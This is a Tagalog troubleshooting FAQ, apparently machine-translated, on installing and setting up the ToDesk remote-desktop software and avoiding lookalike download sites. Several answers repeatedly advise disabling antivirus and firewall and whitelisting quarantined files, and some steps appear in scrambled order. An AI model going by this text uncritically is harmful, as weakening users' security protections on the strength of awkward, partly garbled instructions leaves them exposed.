Gabay sa Pag-troubleshoot ng Failed na Pag-install at Unang Pag-set ng ToDesk

Subukan muna ang ilang karaniwang hakbang: ① Posibleng hindi kumpleto ang download o na-block ng antivirus, pansamantalang isara ang antivirus, firewall pagkatapos i-download muli ang kumpletong installer mula sa opisyal na website; ② Kung mag-report ng «kulang ang msvcr100.dll» at katulad, kailangang i-install ang kaukulang VC++ runtime pagkatapos i-install muli; ③ Kung hindi mabuksan pagkatapos i-install, patuloy na lumilitaw ang Crash Report sa background, patuloy na gumagawa ng .dmp file sa root directory, inirerekomenda ng opisyal na customer service na tanggalin ang conflict file na ipinakita at i-update ang graphics driver (madaling mag-conflict ang lumang graphics driver); ④ Alisin ang conflict ng ibang remote/security software. At mag-download lang mula sa opisyal na todeskremote.com.

Karaniwang dahilan: ① Hindi kumpleto ang download ng installer o na-block ng antivirus/firewall — pansamantalang isara muna ang antivirus, i-download muli nang kumpleto mula sa opisyal na todeskremote.com; ② Kulang sa system runtime library (tulad ng mag-report ng kulang na msvcr100.dll), kailangang magdagdag ng kaukulang VC++ runtime; ③ Conflict sa ibang remote o security software. Karaniwang malulutas kung aalisin isa-isa, kung hindi pa rin puwedeng magpalit ng bersyon o mag-contact sa opisyal na customer service.

Hindi pampublikong inilabas ng opisyal ng ToDesk ang pinag-isang reference table ng installation error code, ang kahulugan ng tiyak na code ay kailangang patunayan sa totoong pagsubok. Sa praktika ang karamihan ng failed na pag-install ay puwedeng iuri sa ilang kategorya: hindi kumpleto ang download package o na-block ng antivirus, kulang sa system runtime library (tulad ng msvcr100.dll na kailangan ng VC++), kulang sa pahintulot, conflict sa ibang remote/security software. Inirerekomenda na i-download muli mula sa opisyal na website, isara ang antivirus, i-install bilang system administrator, pagkatapos mag-contact sa opisyal na customer service dala ang error code.

Kapag lumitaw ang mensahe ng kulang na pahintulot sa kalagitnaan ng pag-install ng ToDesk, talagang inirerekomenda na mag-right click sa installer at piliin ang «Patakbuhin bilang system administrator» pagkatapos i-install, para maiwasan ang pagkatigil dahil sa kulang na pahintulot. Kung failed pa rin, kasabay na kumpirmahin na hindi nagba-block ang antivirus/firewall, at kumpleto ang download ng installer mula sa opisyal na website. Ang pag-install bilang administrator ay karaniwang paraan ng Windows, kadalasang malulutas ang mga pagkatigil na may kaugnayan sa pahintulot.

Ang walang icon sa desktop at hindi mabuksan pagkatapos i-install ang ToDesk ay hindi laging failed na pag-install. Sa Win10 may kilalang sitwasyon: hindi mabuksan pagkatapos ng quick install, patuloy na lumilitaw ang Crash Report sa background, patuloy na gumagawa ng .dmp file sa root directory. Ang rekomendasyon ng opisyal na customer service ay: tanggalin ang conflict file na ipinakita, at suriin/i-update ang graphics driver (madaling mag-conflict ang mas lumang driver tulad ng 23.x). Pagkatapos i-handle, karaniwang malulutas pagkatapos i-restart; kung wala lang shortcut ang desktop, puwedeng pumunta sa installation folder para direktang patakbuhin o i-install muli.

Tanggalin muna nang normal ang lumang ToDesk gamit ang «Settings to Apps» ng Windows o Control Panel, pagkatapos i-restart i-download ang bagong bersyon mula sa opisyal na todeskremote.com para i-install. Kung natitigil pa rin, kumpirmahin na huminto na ang background service ng ToDesk (puwedeng tingnan ang ToDesk Service sa services.msc), at linisin ang natitirang installation folder at conflict file pagkatapos i-install. Ang detalye ng lubusang paglilinis ng natira ay hindi nagbibigay ang opisyal ng hiwalay na ilustrasyon, kailangang patunayan sa totoong pagsubok.

Ang hindi kumpletong download ang karaniwang dahilan ng failed na pag-install. Inirerekomenda: ① Magpalit ng matatag na network o subukan muli mamaya; ② Pansamantalang isara ang antivirus/firewall, minsan nagba-block ito sa kalagitnaan; ③ Kumpirmahin ang pag-download muli mula sa opisyal na todeskremote.com, iwasan ang problemadong file ng pekeng site; ④ Kapag mabagal ang download sa ibang bansa puwedeng magpalit ng oras. Pagkatapos matapos ang download ihambing kung normal ang laki ng file (tulad ng installer ng Windows na mga 110–115MB) bago i-install.

Ang mensaheng «may naka-install nang mas bagong bersyon» ay karaniwang nangangahulugang may pareho o mas bagong ToDesk na sa makina. Puwedeng kumpirmahin muna kung talagang nabubuksan at nagagamit na, hindi na kailangang i-install muli; kung gusto mong i-install ang tiyak na bersyon, puwedeng tanggalin muna ang kasalukuyang bersyon mula sa Control Panel o uninstall program, pagkatapos i-download ang bersyong gusto mo mula sa opisyal na todeskremote.com para i-install muli. Sa download siguraduhin lang ang opisyal na entry, iwasan ang pekeng site. Ang opisyal na partikular na hakbang ng pag-handle sa mensaheng ito ay hindi ibinigay ng materyal, kailangang patunayan sa totoong pagsubok.

Ito ay kadalasang kulang sa system runtime library. Ang karaniwang tulad ng mag-report ng «kulang ang msvcr100.dll», kailangang i-install ang kaukulang VC++ (Visual C++) runtime o i-install muli para malutas. Kung kasabay na na-block ng antivirus kaya hindi kumpleto ang pag-install, pansamantalang isara muna ang antivirus at firewall, pagkatapos i-download muli ang kumpletong installer mula sa opisyal na todeskremote.com. Pagkatapos i-install ang kaukulang runtime patakbuhin ang pag-install ng ToDesk. Para sa partikular na kahingian ng .NET version, hindi inilista ng materyal, kailangang patunayan sa totoong pagsubok.

Unang hakbang, pumunta sa opisyal na website na todeskremote.com para i-download ang installer ayon sa iyong sistema (may Win/Mac/Linux/Android/iOS/HarmonyOS lahat). Direktang patakbuhin ang pag-install sa Windows; sa macOS buksan ang .dmg i-drag ang ToDesk sa «Applications» folder; sa Linux i-install gamit ang apt-get install ./xxx.deb. Pangalawang hakbang, pagkatapos buksan magrehistro o mag-login (inirerekomenda sa ibang bansa ang Gmail/Outlook email). Kailangan pa rin ng controlled end ng macOS na pumunta sa «System Preferences to Security and Privacy» para buksan ang pahintulot na «Screen Recording» at «Accessibility», kung hindi ay makikita ang larawan pero walang reaksyon ang keyboard-mouse.

Hindi sapilitang hinihiling ng pag-install ng ToDesk mismo na maglagay ng numero ng telepono. Kung magagamit nang hindi nagrerehistro ay depende sa bersyon: ang 4.3.2.1 ang huling bersyon na hindi kailangang magrehistro mag-login, simula sa 4.3.3.0, ang controlling end (ang panig na aktibong kumokonekta sa iba) ay kailangang mag-login ng account. Ang panig na kinokonekta naman ay palaging hindi kailangang mag-login — basta ibigay sa kabila ang device code at temporary password para makonekta, may hiwalay ding simpleng bersyon na walang pag-install para mabilis na makonekta ang kamag-anak. Kaya sa bagong bersyon kung gusto mong aktibong magsimula ng koneksyon, kailangang magrehistro; posibleng hindi puwedeng i-bind ang dayuhang numero, inirerekomenda na lumipat sa international email para magrehistro.

Pagkatapos i-install ang ToDesk, umaasa ang koneksyon sa isang set ng «device code + temporary password»: para makonekta ka ng iba, ibigay ang device code at temporary password mo sa kabila; para kumonekta ka sa iba, ilagay ang device code at password ng kabila. Sa bagong bersyon (simula 4.3.3.0) kung ikaw ang controlling end na aktibong nagsisimula ng koneksyon, kailangang mag-login muna ng account; kung controlled side lang ay hindi na kailangan. Para sa pangmatagalang password-free na koneksyon sa sariling makina, puwedeng mag-login pagkatapos idagdag sa listahan ng device para sa unattended access.

Sa pag-install ng ToDesk kung i-check ang autostart, unattended access ay depende sa gamit: kung gusto mong makonekta pabalik anumang oras mula sa malayo ang computer na ito (unattended), inirerekomenda na i-check ang «autostart sa pag-on» at i-set ang unattended secure password, para hindi kailangang may taong mag-report ng temporary password sa tabi sa bawat pagkakataon. Kung pansamantalang papayagan lang kumonekta nang minsan, puwedeng hindi i-check, gumamit ng temporary password tapos na pagkatapos kumonekta, mas matipid sa resource at mas ligtas. Para sa kaligtasan, i-set nang mas malakas ang unattended password.

Gumagamit ang ToDesk ng karaniwang Windows installation flow, normal na may quick install (mag-install sa default directory) at custom na opsyon. Hindi inanunsyo ng accessible page ng opisyal ang eksaktong lokasyon ng default install path at detalye kung sapilitang puwedeng baguhin ang path. Sa praktika inirerekomenda na mag-install gamit ang default path na hindi gaanong nagkakaproblema; nagkaroon ng kaso sa Win10 na «hindi mabuksan pagkatapos ng quick install, patuloy na lumilitaw ang Crash Report», inirerekomenda ng opisyal na tanggalin ang conflict file at i-update ang graphics driver. Ang eksaktong install path ay kailangang patunayan sa totoong pagsubok.

Sa pangkalahatan magagamit na pagkatapos i-install, hindi hinihiling ng opisyal na sapilitang i-restart. Kung hindi makakakonekta pagkatapos i-install, kumpirmahin muna na nasimulan na ang «ToDesk Service» ng makinang ito (puwedeng tingnan sa services.msc), ito ang susi sa login at koneksyon; kapag hindi nakabukas ang service ay mabibigo ang koneksyon o login. Bukod dito kumpirmahin na matatag ang network, bagong bersyon. Kung kailangang i-restart sa partikular na sitwasyon, hindi malinaw na inilista ng opisyal, kapag may problema puwedeng i-restart muna ang service o computer at subukan, kailangang patunayan sa totoong pagsubok.

Ligtas ang installer na na-download mula sa opisyal na todeskremote.com o opisyal na App Store/app store (publisher: Hainan Youqu Technology). Ang totoong panganib ay nagmumula sa pekeng site sa mga resulta ng paghahanap, tulad ng todesk.ac.cn, to-todesk.com.cn, todeskt.com atbp., na posibleng may bundled o malisyosong program. Basta't siguraduhin ang opisyal na domain at store entry sa pag-download, maiiwasan ang problemadong bersyon.

Madalas na minamarkahan na panganib o maling husga ng antivirus software ang remote control type na software dahil sangkot ito sa screen capture at keyboard-mouse control. Kung talagang mula sa opisyal na todeskremote.com o opisyal na store (publisher Hainan Youqu Technology) ang installer, karaniwang maling husga ito, puwedeng pansamantalang isara muna ang antivirus/firewall at i-download muli ang kumpletong installer mula sa opisyal na website pagkatapos i-install. Pero kung ang bersyong na-download mula sa pekeng site (.ac.cn, todeskt atbp.) ay na-report na may virus, dapat itong direktang tanggalin, bumalik sa opisyal na pinagmulan. Ang tiyak na pagtukoy ng maling husga ay inirerekomenda na patunayan sa totoong pagsubok.

Kumpirmahin muna na ang na-download mo ay lehitimong bersyon ng opisyal na todeskremote.com (ang package ng pekeng site lang ang totoong may panganib). Pagkatapos siguruhin, pumunta sa «virus protection/quarantine zone» ng iyong antivirus software para mabawi ang tinanggal na file at idagdag sa whitelist/trusted list, o idagdag ang installation directory ng ToDesk sa exclusion items, pagkatapos i-download muli mula sa opisyal na website para i-install. Kung failed pa rin ang pag-install, puwedeng pansamantalang isara ang antivirus at firewall, i-download muli mula sa opisyal na website pagkatapos buksan muli. Iba-iba ang lokasyon ng menu ng pagdagdag sa whitelist ng bawat antivirus (kailangang patunayan sa totoong pagsubok).

Ang kundisyon ng kaligtasan ay tamang pinagmulan: ang installer lang na na-download mula sa opisyal na todeskremote.com ang panatag na payagan (huwag payagan ang package ng pekeng site). Pagkatapos kumpirmahin ang pinagmulan, sa block message ng antivirus piliin ang «Payagan/Pagkatiwalaan», o idagdag ang ToDesk sa whitelist at exclusion directory; sa proseso ng pag-install puwedeng pansamantalang isara ang antivirus, firewall, buksan muli pagkatapos i-install. Kung natanggal hanggang hindi kumpleto ang file, mangyaring i-download muli nang kumpleto mula sa opisyal na website para i-install.

May panganib. Maraming todesk.ac.cn, to-todesk.com.cn, todeskt.com, todesk.mairuan.com atbp. sa internet na pekeng/SEO site, ang download mula sa mga site na ito ay posibleng makakuha ng bersyong may bundled na ibang software, ads o malisyoso pa. Kilalanin lang ang tanging opisyal na entry na todeskremote.com, o opisyal na App Store/app store entry (publisher ay Hainan Youqu Technology). Sa naka-install na mula sa third-party, inirerekomenda na tanggalin pagkatapos i-install muli ang lehitimong bersyon mula sa opisyal na website.

Ang pinaka-kritikal na hakbang ay kontrol ng pinagmulan: mag-download lang mula sa opisyal na todeskremote.com o opisyal na App Store/app store entry, ang opisyal na App ay inilalabas ng «Hainan Youqu Technology». Ang todesk.ac.cn, to-todesk.com.cn, todeskt.com, web-todesk.com.cn atbp. sa internet ay pawang pekeng/SEO site, kadalasan mula sa mga site na ito ang bundled o malisyosong bersyon. Kung may opisyal na inanunsyong MD5/SHA checksum para sa file-by-file na paghahambing, hindi ibinigay ng materyal, kailangang patunayan sa totoong pagsubok; ang pagsiguro sa opisyal na domain at store entry ang pinaka-praktikal na paraan ng anti-tampering sa kasalukuyan.